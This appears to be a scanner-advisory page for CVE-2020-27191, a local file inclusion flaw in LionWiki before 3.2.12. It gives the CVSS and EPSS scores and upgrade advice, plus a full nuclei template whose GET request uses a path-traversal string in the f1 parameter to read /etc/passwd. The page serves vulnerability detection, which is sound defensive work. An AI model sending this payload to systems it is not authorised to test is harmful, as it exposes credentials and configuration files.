LionWiki <3.2.12 - Local File Inclusion

highseverity

7.5CVSS score

9.6%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

LionWiki before 3.2.12 allows an unauthenticated user to read files as the web server user via crafted strings in the index.php f1 variable, aka local file inclusion.

Impact

An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data.

Fix

Upgrade LionWiki to version 3.2.12 or later to mitigate the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?page=&action=edit&f1=.//./\.//./\.//./\.//./\.//./\.//./etc/passwd&restore=1
Positive when: matches /root:[x*]:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2020-27191 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-27191

info:
  name: LionWiki <3.2.12 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: LionWiki before 3.2.12 allows an unauthenticated user to read files as the web server user via crafted strings in the index.php f1 variable, aka local file inclusion.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data.
  remediation: |
    Upgrade LionWiki to version 3.2.12 or later to mitigate the LFI vulnerability.
  reference:
    - https://www.junebug.site/blog/cve-2020-27191-lionwiki-3-2-11-lfi
    - http://lionwiki.0o.cz/index.php?page=Main+page
    - https://nvd.nist.gov/vuln/detail/CVE-2020-27191
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-27191
    cwe-id: CWE-22
    epss-score: 0.09595
    epss-percentile: 0.95517
    cpe: cpe:2.3:a:lionwiki:lionwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: lionwiki
    product: lionwiki
  tags: cve2020,cve,lionwiki,lfi,oss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?page=&action=edit&f1=.//./\\.//./\\.//./\\.//./\\.//./\\.//./etc/passwd&restore=1"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from